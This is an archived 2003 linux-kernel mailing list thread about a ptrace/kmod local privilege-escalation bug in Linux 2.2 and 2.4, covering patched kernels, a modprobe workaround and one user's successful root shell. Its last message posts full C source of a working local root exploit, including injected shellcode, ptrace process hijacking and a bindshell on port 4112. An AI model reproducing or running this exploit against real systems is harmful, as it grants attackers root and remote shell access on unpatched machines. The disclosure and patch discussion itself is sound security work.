All of lore.kernel.org
 help / color / mirror / Atom feed
* Kernels 2.2 and 2.4 exploit (ALL VERSION WHAT I HAVE TESTED UNTILL NOW!)
@ 2003-03-19 13:54 Andrus
  2003-03-19 14:13 ` Robinson Maureira Castillo
                   ` (2 more replies)
  0 siblings, 3 replies; 11+ messages in thread
From: Andrus @ 2003-03-19 13:54 UTC (permalink / raw)
  To: linux-kernel



You can download working exploit on
http://www.members.ee/ptrace-exploit.c

Its hell long exploit as I know, and still not patched!



^ permalink raw reply	[flat|nested] 11+ messages in thread

* Re: Kernels 2.2 and 2.4 exploit (ALL VERSION WHAT I HAVE TESTED UNTILL NOW!)
  2003-03-19 13:54 Kernels 2.2 and 2.4 exploit (ALL VERSION WHAT I HAVE TESTED UNTILL NOW!) Andrus
@ 2003-03-19 14:13 ` Robinson Maureira Castillo
  2003-03-19 14:28   ` Arjan van de Ven
  2003-03-19 15:27 ` Alan Cox
  2003-03-20  3:18 ` Rick Warner
  2 siblings, 1 reply; 11+ messages in thread
From: Robinson Maureira Castillo @ 2003-03-19 14:13 UTC (permalink / raw)
  To: Andrus; +Cc: linux-kernel

On Wed, 19 Mar 2003, Andrus wrote:
> You can download working exploit on
> http://www.members.ee/ptrace-exploit.c
> 
> Its hell long exploit as I know, and still not patched!
> 

I have it, it's no longer on that URL, but I test it against the last 
errata kernel from RedHat and it's not vulnerable.

[rmaureira@linux rmaureira]$ ./ptrace-xploit 
[-] Unable to attach: Operation not permitted
Killed

Best regards

-- 
Robinson Maureira Castillo
INACAP


^ permalink raw reply	[flat|nested] 11+ messages in thread

* Re: Kernels 2.2 and 2.4 exploit (ALL VERSION WHAT I HAVE TESTED UNTILL NOW!)
  2003-03-19 14:13 ` Robinson Maureira Castillo
@ 2003-03-19 14:28   ` Arjan van de Ven
  0 siblings, 0 replies; 11+ messages in thread
From: Arjan van de Ven @ 2003-03-19 14:28 UTC (permalink / raw)
  To: Robinson Maureira Castillo; +Cc: Andrus, linux-kernel

[-- Attachment #1: Type: text/plain, Size: 875 bytes --]

On Wed, 2003-03-19 at 15:13, Robinson Maureira Castillo wrote:
> On Wed, 19 Mar 2003, Andrus wrote:
> > You can download working exploit on
> > http://www.members.ee/ptrace-exploit.c
> > 
> > Its hell long exploit as I know, and still not patched!
> > 
> 
> I have it, it's no longer on that URL, but I test it against the last 
> errata kernel from RedHat and it's not vulnerable.
> 
> [rmaureira@linux rmaureira]$ ./ptrace-xploit 
> [-] Unable to attach: Operation not permitted
> Killed

there is some misunderstanding about at least one of the exploits out
there; one of them will, when successful, make itself setuid-root....

result:

admin tries exploit, succeeds
admin updates kernel to fixed one
admin tries exploit, gets root again due to setuid-root and thinks the
kernel is not fixed
admin yells at $vendor for providing a broken fix



[-- Attachment #2: This is a digitally signed message part --]
[-- Type: application/pgp-signature, Size: 189 bytes --]

^ permalink raw reply	[flat|nested] 11+ messages in thread

* Re: Kernels 2.2 and 2.4 exploit (ALL VERSION WHAT I HAVE TESTED UNTILL NOW!)
  2003-03-19 15:27 ` Alan Cox
@ 2003-03-19 14:44   ` BODA Karoly jr.
  2003-03-19 16:00     ` BODA Karoly jr.
  2003-03-19 14:55   ` Anders Gustafsson
  1 sibling, 1 reply; 11+ messages in thread
From: BODA Karoly jr. @ 2003-03-19 14:44 UTC (permalink / raw)
  To: Linux Kernel Mailing List; +Cc: Alan Cox, Andrus

On 19 Mar 2003, Alan Cox wrote:
> > Its hell long exploit as I know, and still not patched!
> The ptrace problems I'm aware of are fixed in 2.2.25 or by the patch
> to 2.4.21pre5-ac I posted (I meant to post the 2.4.20 one, someone
> has since done that).

	Well for me it didn't work on those kernels (all was i386 "of
course"): 
2.4.19-pre6aa1
2.4.21-pre4aa1
2.4.21-pre4aa3
2.2.16pre7

	Did work on lot's of others (unpatched 2.4.x, 2.2.x, 2.4.x-acx,
2.4.x-ckx).

-- 
						Woockie
..."what is there in this world that makes living worthwhile?"
Death thought about it. "CATS," he said eventually, "CATS ARE NICE."
			           (Terry Pratchett, Sourcery)



^ permalink raw reply	[flat|nested] 11+ messages in thread

* Re: Kernels 2.2 and 2.4 exploit (ALL VERSION WHAT I HAVE TESTED UNTILL NOW!)
  2003-03-19 15:27 ` Alan Cox
  2003-03-19 14:44   ` BODA Karoly jr.
@ 2003-03-19 14:55   ` Anders Gustafsson
  2003-03-19 16:13     ` Alan Cox
  1 sibling, 1 reply; 11+ messages in thread
From: Anders Gustafsson @ 2003-03-19 14:55 UTC (permalink / raw)
  To: Alan Cox; +Cc: Andrus, Linux Kernel Mailing List

On Wed, Mar 19, 2003 at 03:27:05PM +0000, Alan Cox wrote:
> On Wed, 2003-03-19 at 13:54, Andrus wrote:
> > You can download working exploit on
> > http://www.members.ee/ptrace-exploit.c
> > 
> > Its hell long exploit as I know, and still not patched!
> 
> The ptrace problems I'm aware of are fixed in 2.2.25 or by the patch
> to 2.4.21pre5-ac I posted (I meant to post the 2.4.20 one, someone
> has since done that).

If access can't be shut down while compiling the new kernel 

echo /foo/bar/doesnotexist >/proc/sys/kernel/modprobe

would help, wouldn't it?

-- 
Anders Gustafsson - andersg@0x63.nu - http://0x63.nu/

^ permalink raw reply	[flat|nested] 11+ messages in thread

* Re: Kernels 2.2 and 2.4 exploit (ALL VERSION WHAT I HAVE TESTED UNTILL NOW!)
  2003-03-19 13:54 Kernels 2.2 and 2.4 exploit (ALL VERSION WHAT I HAVE TESTED UNTILL NOW!) Andrus
  2003-03-19 14:13 ` Robinson Maureira Castillo
@ 2003-03-19 15:27 ` Alan Cox
  2003-03-19 14:44   ` BODA Karoly jr.
  2003-03-19 14:55   ` Anders Gustafsson
  2003-03-20  3:18 ` Rick Warner
  2 siblings, 2 replies; 11+ messages in thread
From: Alan Cox @ 2003-03-19 15:27 UTC (permalink / raw)
  To: Andrus; +Cc: Linux Kernel Mailing List

On Wed, 2003-03-19 at 13:54, Andrus wrote:
> You can download working exploit on
> http://www.members.ee/ptrace-exploit.c
> 
> Its hell long exploit as I know, and still not patched!

The ptrace problems I'm aware of are fixed in 2.2.25 or by the patch
to 2.4.21pre5-ac I posted (I meant to post the 2.4.20 one, someone
has since done that).

Vendor updates seem to be available for most distro/architectures
although S/390 seems to be lagging in a few cases


^ permalink raw reply	[flat|nested] 11+ messages in thread

* Re: Kernels 2.2 and 2.4 exploit (ALL VERSION WHAT I HAVE TESTED UNTILL NOW!)
  2003-03-19 16:13     ` Alan Cox
@ 2003-03-19 15:28       ` Anders Gustafsson
  0 siblings, 0 replies; 11+ messages in thread
From: Anders Gustafsson @ 2003-03-19 15:28 UTC (permalink / raw)
  To: Alan Cox; +Cc: Andrus, Linux Kernel Mailing List

On Wed, Mar 19, 2003 at 04:13:05PM +0000, Alan Cox wrote:
> On Wed, 2003-03-19 at 14:55, Anders Gustafsson wrote:
> > If access can't be shut down while compiling the new kernel 
> > 
> > echo /foo/bar/doesnotexist >/proc/sys/kernel/modprobe
> > 
> > would help, wouldn't it?
> 
> Against the default exploit circulating yes, in the general
> case we don't believe so.

Ah, there might be other stuff than modprobe that execs out of a
kernelthread. But to exploit the kernelthread must execve so there is a
userspaceprocess to ptrace, right?

-- 
Anders Gustafsson - andersg@0x63.nu - http://0x63.nu/

^ permalink raw reply	[flat|nested] 11+ messages in thread

* Re: Kernels 2.2 and 2.4 exploit (ALL VERSION WHAT I HAVE TESTED UNTILL NOW!)
  2003-03-19 14:44   ` BODA Karoly jr.
@ 2003-03-19 16:00     ` BODA Karoly jr.
  0 siblings, 0 replies; 11+ messages in thread
From: BODA Karoly jr. @ 2003-03-19 16:00 UTC (permalink / raw)
  To: Linux Kernel Mailing List; +Cc: Alan Cox, Andrus

On Wed, 19 Mar 2003, BODA Karoly jr. wrote:

> 	Well for me it didn't work on those kernels (all was i386 "of
> course"): 
> 2.4.19-pre6aa1
> 2.4.21-pre4aa1
> 2.4.21-pre4aa3
> 2.2.16pre7

	I must fix this. On those kernels WORKS the exploit. :( I've tried
lots of times (>100) to run simply the exploit didn't work. But when I
wanted to trace what the difference is it was working. :( I didn't try 
the other versions I think it will work too... strace of course is not
setuid root. Here it goes:

woockie@death:~/tmp$ ls -l ptrace
-rwxr-xr-x    1 woockie  woockie      9031 Mar 19 14:59 ptrace
woockie@death:~/tmp$ strace -o /dev/null -f -F ./ptrace
Process 4003 attached
[+] Attached to 4004
[+] Signal caught
[+] Shellcode placed at 0x4000da2d
umovestr: Input/output error
[+] Now wait for suid shell...
Process 4005 attached
Process 4002 suspended
Process 4003 detached
PTRACE_ATTACH: Operation not permitted
Too late?
PTRACE_ATTACH: Operation not permitted
Too late?



[1]+  Stopped                 strace -o /dev/null -f -F ./ptrace
woockie@death:~/tmp$ killall strace
woockie@death:~/tmp$ ls -l ptrace
-rwsr-sr-x    1 root     root         9031 Mar 19 14:59 ptrace
woockie@death:~/tmp$ ./ptrace
root@death:~/tmp#


-- 
						Woockie
..."what is there in this world that makes living worthwhile?"
Death thought about it. "CATS," he said eventually, "CATS ARE NICE."
			           (Terry Pratchett, Sourcery)

P.S.: sorry for the previous mail :( Can anyone explain me why this works
only this way?


^ permalink raw reply	[flat|nested] 11+ messages in thread

* Re: Kernels 2.2 and 2.4 exploit (ALL VERSION WHAT I HAVE TESTED UNTILL NOW!)
  2003-03-19 14:55   ` Anders Gustafsson
@ 2003-03-19 16:13     ` Alan Cox
  2003-03-19 15:28       ` Anders Gustafsson
  0 siblings, 1 reply; 11+ messages in thread
From: Alan Cox @ 2003-03-19 16:13 UTC (permalink / raw)
  To: Anders Gustafsson; +Cc: Andrus, Linux Kernel Mailing List

On Wed, 2003-03-19 at 14:55, Anders Gustafsson wrote:
> If access can't be shut down while compiling the new kernel 
> 
> echo /foo/bar/doesnotexist >/proc/sys/kernel/modprobe
> 
> would help, wouldn't it?

Against the default exploit circulating yes, in the general
case we don't believe so. Realistically we are a day or two
before a major war breaks out with huge amounts of bad
feeling involved. It is not the time to put off security
updates, especially if you have a potentially US or UK domain
name/address range


^ permalink raw reply	[flat|nested] 11+ messages in thread

* Re: Kernels 2.2 and 2.4 exploit (ALL VERSION WHAT I HAVE TESTED UNTILL NOW!)
  2003-03-19 13:54 Kernels 2.2 and 2.4 exploit (ALL VERSION WHAT I HAVE TESTED UNTILL NOW!) Andrus
  2003-03-19 14:13 ` Robinson Maureira Castillo
  2003-03-19 15:27 ` Alan Cox
@ 2003-03-20  3:18 ` Rick Warner
  2003-03-20 17:15   ` mix
  2 siblings, 1 reply; 11+ messages in thread
From: Rick Warner @ 2003-03-20  3:18 UTC (permalink / raw)
  To: Andrus, linux-kernel

On Wednesday 19 March 2003 08:54 am, Andrus wrote:
> You can download working exploit on
> http://www.members.ee/ptrace-exploit.c
>
> Its hell long exploit as I know, and still not patched!
>
>
> -
> To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> Please read the FAQ at  http://www.tux.org/lkml/
This exploit is no longer available at that URL.  Can it please be either 
reposted here or mailed directly to me?
-- 
Rick Warner
Systems Integrator
"In a world without fences and doors, who needs Gates and Windows?"

^ permalink raw reply	[flat|nested] 11+ messages in thread

* Re: Kernels 2.2 and 2.4 exploit (ALL VERSION WHAT I HAVE TESTED UNTILL  NOW!)
  2003-03-20  3:18 ` Rick Warner
@ 2003-03-20 17:15   ` mix
  0 siblings, 0 replies; 11+ messages in thread
From: mix @ 2003-03-20 17:15 UTC (permalink / raw)
  To: linux-kernel

[-- Attachment #1: Type: text/plain, Size: 210 bytes --]

On Wed, Mar 19, 2003 at 10:18:07PM -0500, Rick Warner wrote:
> This exploit is no longer available at that URL.  Can it please be either 
> reposted here or mailed directly to me?

Here's the one from bugtraq:

[-- Attachment #2: km3.c --]
[-- Type: text/plain, Size: 7350 bytes --]

/* lame, oversophisticated local root exploit for kmod/ptrace bug in linux
 * 2.2 and 2.4
 * 
 * have fun
 */

#define ANY_SUID	"/usr/bin/passwd"

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ptrace.h>
#include <linux/user.h>
#include <signal.h>
#include <fcntl.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <asm/ioctls.h>
#include <getopt.h>

// user settings:

int randpids=0;

#define M_SIMPLE		0
#define M_DOUBLE		1
#define M_BIND			2

int mode=M_SIMPLE;
char * bin=NULL;

struct stat me;
int chldpid;
int hackpid;

// flags
int sf=0;
int u2=0;

void killed(int a) { u2=1; }
void synch(int x){ sf=1; }

// shellcode to inject
unsigned char shcode[1024];

char ptrace_code[]="\x31\xc0\xb0\x1a\x31\xdb\xb3\x10\x89\xf9"
        "\xcd\x80\x85\xc0\x75\x41\xb0\x72\x89\xfb\x31\xc9\x31\xd2\x31\xf6"
        "\xcd\x80\x31\xc0\xb0\x1a\x31\xdb\xb3\x03\x89\xf9\xb2\x30\x89\xe6"
        "\xcd\x80\x8b\x14\x24\xeb\x36\x5d\x31\xc0\xb0\xFF\x89\xc7\x83\xc5"
        "\xfc\x8b\x75\x04\x31\xc0\xb0\x1a\xb3\x04\xcd\x80\x4f\x83\xed\xfc"
        "\x83\xea\xfc\x85\xff\x75\xea\x31\xc0\xb0\x1a\x31\xdb\xb3\x11\x31"
        "\xd2\x31\xf6\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xc5\xff"
        "\xff\xff";

char execve_tty_code[]=
	"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80\x31\xc0\x50\x68"
        "\x2f\x74\x74\x79\x68\x2f\x64\x65\x76\x89\xe3\xb0\x05\x31\xc9\x66"
        "\xb9\x41\x04\x31\xd2\x66\xba\xa4\x01\xcd\x80\x89\xc3\x31\xc0\xb0"
        "\x3f\x31\xc9\xb1\x01\xcd\x80\x31\xc0\x50\xeb\x13\x89\xe1\x8d\x54"
        "\x24\x04\x5b\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8"
        "\xe8\xff\xff\xff";

char execve_code[]="\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80\xb0\x46"
        "\x31\xc0\x50\xeb\x13\x89\xe1\x8d\x54\x24\x04\x5b\xb0\x0b\xcd\x80"
        "\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe8\xff\xff\xff";

char bind_code[]=
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80\x31\xc0\x50\x40"
        "\x50\x40\x50\x8d\x58\xff\x89\xe1\xb0\x66\xcd\x80\x83\xec\xf4\x89"
        "\xc7\x31\xc0\xb0\x04\x50\x89\xe0\x83\xc0\xf4\x50\x31\xc0\xb0\x02"
        "\x50\x48\x50\x57\x31\xdb\xb3\x0e\x89\xe1\xb0\x66\xcd\x80\x83\xec"
        "\xec\x31\xc0\x50\x66\xb8\x10\x10\xc1\xe0\x10\xb0\x02\x50\x89\xe6"
        "\x31\xc0\xb0\x10\x50\x56\x57\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x83"
        "\xec\xec\x85\xc0\x75\x59\xb0\x01\x50\x57\x89\xe1\xb0\x66\xb3\x04"
        "\xcd\x80\x83\xec\xf8\x31\xc0\x50\x50\x57\x89\xe1\xb0\x66\xb3\x05"
        "\xcd\x80\x89\xc3\x83\xec\xf4\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x74"
        "\x08\x31\xc0\xb0\x06\xcd\x80\xeb\xdc\x31\xc0\xb0\x3f\x31\xc9\xcd"
        "\x80\x31\xc0\xb0\x3f\x41\xcd\x80\x31\xc0\xb0\x3f\x41\xcd\x80\x31"
        "\xc0\x50\xeb\x13\x89\xe1\x8d\x54\x24\x04\x5b\xb0\x0b\xcd\x80\x31"
        "\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe8\xff\xff\xff";

// generate shellcode that sets %edi to pid 
int pidcode(unsigned char * tgt, unsigned short pid)
{
fprintf(stderr, "pid=%d=0x%08x\n", pid, pid);
tgt[0]=0x31; tgt[1]=0xff;
tgt+=2;
	if((pid & 0xff) && (pid & 0xff00)){
	tgt[0]=0x66; tgt[1]=0xbf;
	*((unsigned short*)(tgt+2))=pid;
	return 6;
	}else{
	int n=2;

		if(pid & 0xff00){
		tgt[0]=0xB0; tgt[1]=(pid>>8);
		tgt+=2; n+=2;
		}
		
	memcpy(tgt,"\xC1\xE0\x08", 3); tgt+=3; n+=3;
	
		if(pid & 0xff){
		tgt[0]=0xB0; tgt[1]=pid;
		tgt+=2; n+=2;
		}
	tgt[0]=0x89; tgt[1]=0xC7;
	return n+2;
	}
}

void mkcode(unsigned short pid)
{
int i=0;
unsigned char *c=shcode;
c+=pidcode(c, pid);
strcpy(c, ptrace_code);
c[53]=(sizeof(execve_code)+strlen(bin)+4)/4;
strcat(c, execve_code);
strcat(c, bin);
}

//------------------------

void hack(int pid)
{
int i;
struct user_regs_struct r;
char b1[100]; struct stat st;
int len=strlen(shcode);

	if(kill(pid, 0)) return;

sprintf(b1, "/proc/%d/exe", pid);
	if(stat(b1, &st)) return;

	if(st.st_ino!=me.st_ino || st.st_dev!=me.st_dev) return;
	
	if(ptrace(PTRACE_ATTACH, pid, 0, 0)) return;
	while(ptrace(PTRACE_GETREGS, pid, NULL, &r));
fprintf(stderr, "\033[1;33m+ %d\033[0m\n", pid);
	
	if(ptrace(PTRACE_SYSCALL, pid, 0, 0)) goto fail;
	while(ptrace(PTRACE_GETREGS, pid, NULL, &r));
		
	for (i=0; i<=len; i+=4)
	if(ptrace(PTRACE_POKETEXT, pid, r.eip+i, *(int*)(shcode+i))) goto fail;

kill(chldpid, 9);
ptrace(PTRACE_DETACH, pid, 0, 0);
fprintf(stderr, "\033[1;32m- %d ok!\033[0m\n", pid);

	if(mode==M_DOUBLE){
	char commands[1024];
	char * c=commands;
	kill(hackpid, SIGCONT);
	sprintf(commands, "\nexport TERM='%s'\nreset\nid\n", getenv("TERM"));
		while(*c) { ioctl(0, TIOCSTI, c++); }
	
	waitpid(hackpid, 0, 0);
	}

exit(0);

fail:
ptrace(PTRACE_DETACH, pid, 0, 0);
kill(pid, SIGCONT);
}

void usage(char * cmd)
{
fprintf(stderr, "Usage: %s [-d] [-b] [-r] [-s] [-c executable]\n"
"\t-d\t-- use double-ptrace method (to run interactive programs)\n"
"\t-b\t-- start bindshell on port 4112\n"
"\t-r\t-- support randomized pids\n"
"\t-c\t-- choose executable to start\n"
"\t-s\t-- single-shot mode - abort if unsuccessful at the first try\n", cmd);
exit(0);
}

int main(int ac, char ** av, char ** env)
{
int single=0;
char c;
int mypid=getpid();
fprintf(stderr, "Linux kmod + ptrace local root exploit by <anszom@v-lo.krakow.pl>\n\n");
	if(stat("/proc/self/exe", &me) && stat(av[0], &me)){
	perror("stat(myself)");
	return 0;
	}

	while((c=getopt(ac, av, "sbdrc:"))!=EOF) switch(c) {
	case 'd': mode=M_DOUBLE; break;
	case 'b': mode=M_BIND; break;
	case 'r': randpids=1; break;
	case 'c': bin=optarg; break;
	case 's': single=1; break;
	default: usage(av[0]);
	}

	if(ac!=optind) usage(av[0]);

	if(!bin){
		if(mode!=M_SIMPLE) bin="/bin/sh";
		else{
		struct stat qpa;
			if(stat((bin="/bin/id"), &qpa)) bin="/usr/bin/id";
		}
	}

signal(SIGUSR1, synch);

hackpid=0;
	switch(mode){
	case M_SIMPLE:
	fprintf(stderr, "=> Simple mode, executing %s > /dev/tty\n", bin);
	strcpy(shcode, execve_tty_code);
	strcat(shcode, bin);
	break;

	case M_DOUBLE:
	fprintf(stderr, "=> Double-ptrace mode, executing %s, suid-helper %s\n",
			bin, ANY_SUID);
		if((hackpid=fork())==0){
		char *ble[]={ANY_SUID, NULL};
		fprintf(stderr, "Starting suid program %s\n", ANY_SUID);
		kill(getppid(), SIGUSR1);
		execve(ble[0], ble, env);
		kill(getppid(), 9);
		perror("execve(SUID)");
		_exit(0);
		}

		while(!sf);

	usleep(100000);
	kill(hackpid, SIGSTOP);
	mkcode(hackpid);
	break;

	case M_BIND:
	fprintf(stderr, "=> portbind mode, executing %s on port 4112\n", bin);

	strcpy(shcode, bind_code);
	strcat(shcode, bin);
	break;	
	}
fprintf(stderr, "sizeof(shellcode)=%d\n", strlen(shcode));
	
signal(SIGUSR2, killed);

	if(randpids){
	fprintf(stderr, "\033[1;31m"
"Randomized pids support enabled... be patient or load the system heavily,\n"
"this method does more brute-forcing\033[0m\n");
	}

again:
sf=0;
	if((chldpid=fork())==0){
	int q;
	kill(getppid(), SIGUSR1);
		while(!sf);

	fprintf(stderr, "=> Child process started");
		for(q=0;q<10;++q){
		fprintf(stderr, ".");
		socket(22,0,0);
		}
	fprintf(stderr, "\n");
	kill(getppid(), SIGUSR2);
	_exit(0);
	}

	while(!sf);
kill(chldpid, SIGUSR1);

	for(;;){
	int q;
		if(randpids){
			for(q=1;q<30000;++q)
			if(q!=chldpid && q!=mypid && q!=hackpid) hack(q);
		}else{
			for(q=chldpid+1;q<chldpid+10;q++) hack(q);
		}

		if(u2){
		u2=0;
			if(single) break;
		goto again;
		}
	}
fprintf(stderr, "Failed\n");
return 1;
}

// M$ sucks
// 
// http://bezkitu.com/

^ permalink raw reply	[flat|nested] 11+ messages in thread

end of thread, other threads:[~2003-03-20 17:04 UTC | newest]

Thread overview: 11+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2003-03-19 13:54 Kernels 2.2 and 2.4 exploit (ALL VERSION WHAT I HAVE TESTED UNTILL NOW!) Andrus
2003-03-19 14:13 ` Robinson Maureira Castillo
2003-03-19 14:28   ` Arjan van de Ven
2003-03-19 15:27 ` Alan Cox
2003-03-19 14:44   ` BODA Karoly jr.
2003-03-19 16:00     ` BODA Karoly jr.
2003-03-19 14:55   ` Anders Gustafsson
2003-03-19 16:13     ` Alan Cox
2003-03-19 15:28       ` Anders Gustafsson
2003-03-20  3:18 ` Rick Warner
2003-03-20 17:15   ` mix

This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.